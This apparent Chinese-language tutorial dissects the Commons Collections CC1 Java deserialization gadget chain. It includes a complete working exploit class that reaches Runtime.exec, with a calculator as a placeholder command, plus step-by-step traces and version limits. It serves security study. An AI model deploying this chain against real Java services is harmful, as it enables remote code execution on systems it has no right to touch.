CC1 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 package com.govuln.deserialization;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.annotation.Retention;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationHandler;import java.util.HashMap;import java.util.Map;class CommonsCollections1 { public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer [] { new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class [] { String.class, Class[].class }, new Object [] { "getRuntime" , new Class [0 ] }), new InvokerTransformer ("invoke" , new Class [] { Object.class, Object[].class }, new Object [] { null , new Object [0 ] }), new InvokerTransformer ("exec" , new Class [] { String.class }, new String [] { "calc.exe" }), }; Transformer transformerChain = new ChainedTransformer (transformers); Map innerMap = new HashMap (); innerMap.put("value" , "xxxx" ); Map outerMap = TransformedMap.decorate(innerMap, null , transformerChain); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true ); InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap); ByteArrayOutputStream barr = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (barr); oos.writeObject(handler); oos.close(); System.out.println(barr); ObjectInputStream ois = new ObjectInputStream (new ByteArrayInputStream (barr.toByteArray())); Object o = (Object)ois.readObject(); } }
CC1 链的核心思想是把一次命令执行拆成多个”转换步骤”,让每个步骤看起来都像一个无害的数据操作。Commons Collections 提供了 Transformer 接口来抽象这种转换:
1 2 3 public interface Transformer { public Object transform (Object input) ; }
接口只有一个方法:接收一个对象,返回另一个对象。在正常业务中它用于数据转换(比如把 String 转成 Integer),但在利用中,transform() 会变成反射调用任意方法的入口。
整条 CC1 链的本质:把一个 Runtime.exec() 调用伪装成一系列 Transformer.transform() 串起来的”数据转换管道”。
InvokerTransformer 是 Transformer 接口的实现类,它的 transform() 用 Java 反射来调用任意方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 public class InvokerTransformer implements Transformer , Serializable { private final String iMethodName; private final Class[] iParamTypes; private final Object[] iArgs; public InvokerTransformer (String methodName, Class[] paramTypes, Object[] args) { iMethodName = methodName; iParamTypes = paramTypes; iArgs = args; } public Object transform (Object input) { if (input == null ) return null ; Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); } }
核心逻辑只有三行:
1 2 3 Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs);
三个字段全部由构造函数传入,完全可控。这意味着:只要我们能控制 transform() 的参数,就能调用任意对象的任意方法。
简单验证 1 2 3 4 5 6 7 Runtime runtime = Runtime.getRuntime();InvokerTransformer invoker = new InvokerTransformer ( "exec" , new Class []{String.class}, new Object []{"open -a Calculator" } ); invoker.transform(runtime);
问题的关键 当前我们能直接拿到 Runtime 对象,所以 invoker.transform(runtime) 可以执行命令。但在反序列化场景中,我们无法直接控制传给 transform() 的参数——反序列化时 JVM 调用的是 readObject(),不是我们写的代码。
所以接下来要解决两个问题:
谁来调用 transform()? → 找调用了 transform 的类(TransformedMap)
怎么让 transform() 的输入变成 Runtime 对象? → 用 ConstantTransformer + ChainedTransformer 串联(06 节会讲)
TransformedMap 是一个装饰器 Map——它在原始 Map 外面包一层,在 put 和 setValue 时自动用 Transformer 对键/值做转换。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public class TransformedMap extends AbstractInputCheckedMapDecorator { protected final Transformer keyTransformer; protected final Transformer valueTransformer; protected TransformedMap (Map map, Transformer keyTransformer, Transformer valueTransformer) { super (map); this .keyTransformer = keyTransformer; this .valueTransformer = valueTransformer; } protected Object checkSetValue (Object value) { return valueTransformer.transform(value); } protected boolean isSetValueChecking () { return (valueTransformer != null ); } }
checkSetValue() 是在 Map.Entry.setValue() 被调用时触发的回调——它内部直接调用 valueTransformer.transform()。如果 valueTransformer 是一个 InvokerTransformer,那么每次有人调用 map entry 的 setValue,就会触发反射调用。
Map.Entry.setValue() 的语义是修改值,不是修改键(改键会破坏哈希表结构)。所以 checkSetValue 硬编码只调用 valueTransformer,keyTransformer 在这个路径上没有触发点。这就是为什么构造时 keyTransformer 传 null 也不影响利用。
工厂方法 decorate TransformedMap 的构造方法是 protected 的,不能直接 new。但提供了静态工厂方法:
1 2 3 4 public static Map decorate (Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap (map, keyTransformer, valueTransformer); }
通过它可以把任意 Map 包装成一个”带转换器的 Map”:
1 2 3 4 Map innerMap = new HashMap ();innerMap.put("key" , "value" ); Map outerMap = TransformedMap.decorate(innerMap, null , invokerTransformer);
到此我们有了弹药(InvokerTransformer)和扳机(TransformedMap.checkSetValue),但还缺一个扣扳机的人——谁会在我们不知情的情况下调用 entry.setValue()?这就是下一节要回答的问题。
TransformedMap 继承自 AbstractInputCheckedMapDecorator。这个抽象父类实现了装饰器模式,把 checkSetValue 回调嵌入到 Map 的遍历过程中。
装饰器层级 从 map.entrySet() 开始,一共包了三层:
1 2 3 4 5 6 outerMap.entrySet() → new EntrySet(map.entrySet(), this) .iterator() → new EntrySetIterator(collection.iterator(), parent) .next() → new MapEntry(realEntry, parent)
下面逐层拆解:
第一层:EntrySet(包装 entrySet) 1 2 3 4 5 6 7 public Set entrySet () { if (isSetValueChecking()) { return new EntrySet (map.entrySet(), this ); } return map.entrySet(); }
outerMap.entrySet() 返回的不是 HashMap 的原始 entrySet,而是一个 EntrySet 包装对象。this(即 TransformedMap 自身)被存为 parent。
第二层:EntrySetIterator(包装迭代器) 1 2 3 4 5 public Iterator iterator () { return new EntrySetIterator (collection.iterator(), parent); }
outerMap.entrySet().iterator() 返回 EntrySetIterator,内部包裹了原始 HashMap 的迭代器,同时持有 TransformedMap 引用。
第三层:MapEntry(包装 Entry,挂载 checkSetValue) 1 2 3 4 5 public Object next () { Map.Entry entry = (Map.Entry) iterator.next(); return new MapEntry (entry, parent); }
当增强 for 循环遍历 outerMap 时,it.next() 拿到的是 MapEntry,不是 HashMap.Entry。
而 MapEntry.setValue() 才是整条链的关键:
1 2 3 4 5 public Object setValue (Object value) { value = parent.checkSetValue(value); return entry.setValue(value); }
增强 for 循环如何触发这一切 Java 的增强 for 循环:
1 2 3 for (Map.Entry entry : outerMap.entrySet()) { entry.setValue(runtime); }
编译器实际展开为:
1 2 3 4 5 Iterator it = outerMap.entrySet().iterator(); while (it.hasNext()) { Map.Entry entry = (Map.Entry) it.next(); entry.setValue(runtime); }
由于多态,每一步返回的都是装饰后的子类对象,而非原始的 HashMap 实现。
装饰器模式总结 1 2 3 4 5 6 调用方 → EntrySet (包装 Set,覆写 iterator) → EntrySetIterator (包装 Iterator,覆写 next) → MapEntry (包装 Entry,覆写 setValue → checkSetValue) → TransformedMap.checkSetValue() → InvokerTransformer.transform() → Runtime.exec() ✓
每层实现同一个接口(Set / Iterator / Entry),在上层方法中插入自己的逻辑(挂载回调),其余方法原样委托给内层。这就是装饰器模式的精髓。
04.攻击链(手动触发验证) 在进入反序列化之前,先用手动调用 setValue 的方式验证整条链是否贯通。
1 2 3 4 5 6 7 8 9 10 11 Runtime runtime = Runtime.getRuntime();InvokerTransformer invokerTransformer = new InvokerTransformer ( "exec" , new Class []{String.class}, new Object []{"open -a Calculator" }); HashMap<Object, Object> map = new HashMap <>(); map.put("key" , "value" ); Map<Object, Object> transformedmap = TransformedMap.decorate(map, null , invokerTransformer); for (Map.Entry entry : transformedmap.entrySet()) { entry.setValue(runtime); }
I 构造套娃结构 1 2 3 HashMap<Object, Object> map = new HashMap <>(); map.put("key" , "value" ); Map<Object, Object> transformedmap = TransformedMap.decorate(map, null , invokerTransformer);
产生的对象结构:
1 2 3 4 transformedmap (TransformedMap) ├─ map = HashMap { "key" → "value" } ├─ keyTransformer = null └─ valueTransformer = invokerTransformer ← exec("open -a Calculator")
II 增强 for 循环展开 1 2 3 for (Map.Entry entry : transformedmap.entrySet()) { entry.setValue(runtime); }
编译器等价于:
1 2 3 4 5 Iterator it = transformedmap.entrySet().iterator(); while (it.hasNext()) { Map.Entry entry = (Map.Entry) it.next(); entry.setValue(runtime); }
III 逐步跟踪 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 ① transformedmap.entrySet() isSetValueChecking() 返回 true,走包装逻辑: // AbstractInputCheckedMapDecorator.entrySet() return new EntrySet(map.entrySet(), this); 返回:EntrySet { collection=HashMap的entrySet, parent=TransformedMap } ② .iterator() // EntrySet.iterator() return new EntrySetIterator(collection.iterator(), parent); ③ .next() // EntrySetIterator.next() Map.Entry realEntry = (Map.Entry) iterator.next(); // HashMap 的原始 entry return new MapEntry(realEntry, parent); // 包装成 MapEntry 循环变量 entry 的实际类型是 MapEntry,不是 HashMap.Entry。 ④ entry.setValue(runtime) // MapEntry.setValue(runtime) value = parent.checkSetValue(value); // ← 关键转折 return entry.setValue(value); ⑤ parent.checkSetValue(runtime) // TransformedMap.checkSetValue(runtime) return valueTransformer.transform(runtime); // → invokerTransformer ⑥ invokerTransformer.transform(runtime) // InvokerTransformer.transform(runtime) Class cls = input.getClass(); // → Runtime.class Method method = cls.getMethod("exec", String.class); // → exec(String) return method.invoke(input, "open -a Calculator"); // → 弹出计算器 ✓
Java 的实例方法调用是基于运行时实际类型的动态分发(多态),而非变量的声明类型。这也是为什么调试是学习利用链必不可少的一环——只有运行时才能看到每一步究竟走的是哪个子类的哪个方法。
05.反序列化利用 前面的 04 节只是在本地手动调用 entry.setValue() 来触发,真正的漏洞需要在反序列化过程中自动触发。
AnnotationInvocationHandler.readObject() AnnotationInvocationHandler 是 JDK 内部用于处理注解动态代理的类,它实现了 Serializable 接口,在反序列化时会自动调用 readObject()。
JDK 8u71 之前的 readObject() 源码(关键部分):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 private void readObject (java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); AnnotationType annotationType = null ; try { annotationType = AnnotationType.getInstance(type); } catch (IllegalArgumentException e) { throw new java .io.InvalidObjectException( "Non-annotation type in annotation serial stream" ); } Map<String, Class<?>> memberTypes = annotationType.memberTypes(); for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Object value = null ; Class<?> memberType = memberTypes.get(name); if (memberType != null ) { value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { memberValue.setValue( new AnnotationTypeMismatchExceptionProxy ( value.getClass().getName() + "[" + value + "]" ) .setMember(annotationType.members().get(name))); } } } }
注意:JDK 8u71 之后 readObject() 被重写,移除了 setValue 调用,改为构建一个新的 LinkedHashMap。因此基于 TransformedMap 的 CC1 链仅适用于 JDK 8u71 之前的版本。
类型不匹配如何触发 setValue @Retention 注解的定义:
1 2 3 public @interface Retention { RetentionPolicy value () ; }
回到我们的构造代码:
1 2 3 4 5 6 7 8 Map innerMap = new HashMap ();innerMap.put("value" , "xxxx" ); Map outerMap = TransformedMap.decorate(innerMap, null , transformerChain);InvocationHandler handler = (InvocationHandler) construct.newInstance( Retention.class, outerMap );
当 readObject() 执行到类型检查时:
memberValue.getKey() → "value"(匹配 Retention 注解的成员名)
memberType → RetentionPolicy.class(注解期望的成员类型)
memberValue.getValue() → "xxxx"(我们塞入的 String)
memberType.isInstance("xxxx") → false(String 不是 RetentionPolicy 实例)
"xxxx" instanceof ExceptionProxy → false
条件成立 → 执行 memberValue.setValue(...)!
完整触发链路 紧跟 04 节分析过的装饰器链路,这次 setValue 是由 readObject() 自动调用的:
1 2 3 4 5 6 ObjectInputStream.readObject() └─ AnnotationInvocationHandler.readObject() └─ memberValue.setValue(proxy) // 类型不匹配,触发 setValue └─ MapEntry.setValue(proxy) // AbstractInputCheckedMapDecorator └─ parent.checkSetValue(proxy) // parent = TransformedMap └─ valueTransformer.transform(proxy) // ★ 进入 Transformer 链
对比 04 节的手动调用:
1 2 3 4 5 entry.setValue(runtime); memberValue.setValue(AnnotationTypeMismatchExceptionProxy);
两者的输入不同(Runtime vs ExceptionProxy),但只要 Transformer 链的第一个是 ConstantTransformer,输入是什么都无所谓 —— 因为它会直接忽略输入,返回固定的 Runtime.class。这就是下一节要讲的内容。
在 JDK 8u71 之后,readObject() 不再调用 setValue,而是直接把值 put 进一个新的 LinkedHashMap。这意味着 TransformedMap 版本的 CC1 在这里断掉了。后续出现的 CC1-LazyMap 变体通过 AnnotationInvocationHandler.invoke() 中的 memberValues.get() 调用来绕过这个限制。
1 2 3 4 5 6 7 8 9 10 11 public class ConstantTransformer implements Transformer , Serializable { private final Object iConstant; public ConstantTransformer (Object constantToReturn) { iConstant = constantToReturn; } public Object transform (Object input) { return iConstant; } }
作用:无论输入是什么,始终返回构造时设定的固定对象。
在我们的 Payload 中:
1 2 new ConstantTransformer (Runtime.class)
这是整条链能够”冷启动”的关键——checkSetValue 传入的 AnnotationTypeMismatchExceptionProxy 被直接丢弃,输出变成 Runtime.class,为后续反射调用铺路。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public class ChainedTransformer implements Transformer , Serializable { private final Transformer[] iTransformers; public ChainedTransformer (Transformer[] transformers) { iTransformers = transformers; } public Object transform (Object object) { for (int i = 0 ; i < iTransformers.length; i++) { object = iTransformers[i].transform(object); } return object; } }
作用:把多个 Transformer 串联起来,前一个的输出作为后一个的输入。
就像一个流水线:
1 输入 → [Transformer1] → [Transformer2] → [Transformer3] → ... → 输出
如果在 checkSetValue 之后直接接 InvokerTransformer("exec", ...):
1 2 3 4 checkSetValue 传入 → AnnotationTypeMismatchExceptionProxy → InvokerTransformer.transform(proxy) → proxy.getClass().getMethod("exec", String.class) → ExceptionProxy 类没有 exec 方法 → 直接报错!
所以必须用 ConstantTransformer “重置” 输入,把 ExceptionProxy 替换成 Runtime.class,后续的反射链才能正确执行。
07.Payload 完整串联 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 Transformer[] transformers = new Transformer [] { new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class [] { String.class, Class[].class }, new Object [] { "getRuntime" , new Class [0 ] }), new InvokerTransformer ("invoke" , new Class [] { Object.class, Object[].class }, new Object [] { null , new Object [0 ] }), new InvokerTransformer ("exec" , new Class [] { String.class }, new String [] { "calc.exe" }), };
逐步展开:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 ① ConstantTransformer.transform(proxy) 忽略 proxy → 返回 Runtime.class ② InvokerTransformer("getMethod", ...).transform(Runtime.class) Runtime.class.getMethod("getRuntime", new Class[0]) → 返回 java.lang.reflect.Method 对象 (指向 Runtime.getRuntime()) ③ InvokerTransformer("invoke", ...).transform(method对象) method.invoke(null, new Object[0]) // null = 静态方法,不需要实例 → 返回 Runtime 实例 (等价于 Runtime.getRuntime()) ④ InvokerTransformer("exec", ...).transform(Runtime实例) runtime.exec("calc.exe") → 弹出计算器 ✓
完整调用链一览 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 ObjectInputStream.readObject() // 反序列化入口 └─ AnnotationInvocationHandler.readObject() // JDK 内部方法 │ memberValues = TransformedMap { "value" → "xxxx" } │ type = Retention.class │ ├─ 遍历 memberValues.entrySet() // ★ 触发装饰器 EntrySet │ └─ EntrySetIterator.next() → 返回 MapEntry │ ├─ memberType = RetentionPolicy.class (注解期望类型) ├─ value = "xxxx" (实际类型: String) ├─ memberType.isInstance("xxxx") = false // ★ 类型不匹配 │ └─ memberValue.setValue(proxy) // ★ 调用 setValue └─ MapEntry.setValue(proxy) └─ parent.checkSetValue(proxy) └─ valueTransformer.transform(proxy) └─ ChainedTransformer.transform(proxy) ├─ ① ConstantTransformer → Runtime.class ├─ ② getMethod("getRuntime") → Method 对象 ├─ ③ invoke(null) → Runtime 实例 └─ ④ exec("calc.exe") → RCE ✓
两个为什么 为什么 innerMap.put("value", "xxxx") 的 key 必须是 "value"?
@Retention 注解只有一个成员,名字就是 value:
1 2 3 public @interface Retention { RetentionPolicy value () ; }
readObject() 中用 memberValue.getKey() 去 memberTypes 里查:
1 2 3 Class<?> memberType = memberTypes.get(name);
所以 key 必须与注解成员名匹配,否则连 memberType != null 的条件都过不去。
为什么用 valueTransformer 而不是 keyTransformer?
回到 02 节 TransformedMap.checkSetValue():
1 2 3 protected Object checkSetValue (Object value) { return valueTransformer.transform(value); }
Map.Entry.setValue() 的语义就是修改值而不是键,这是 Map 接口的设计约束——通过 entry 改 key 会破坏哈希表结构。因此 Commons Collections 根本没有提供 checkSetKey() 这样的方法,keyTransformer 在 setValue 路径上没有触发点。这就是为什么 decorate(map, null, chain) 中 keyTransformer 传 null 不影响利用。
版本限制总结:
JDK ≤ 8u71(readObject 中有 setValue 调用)
Commons Collections 3.1 ~ 3.2.1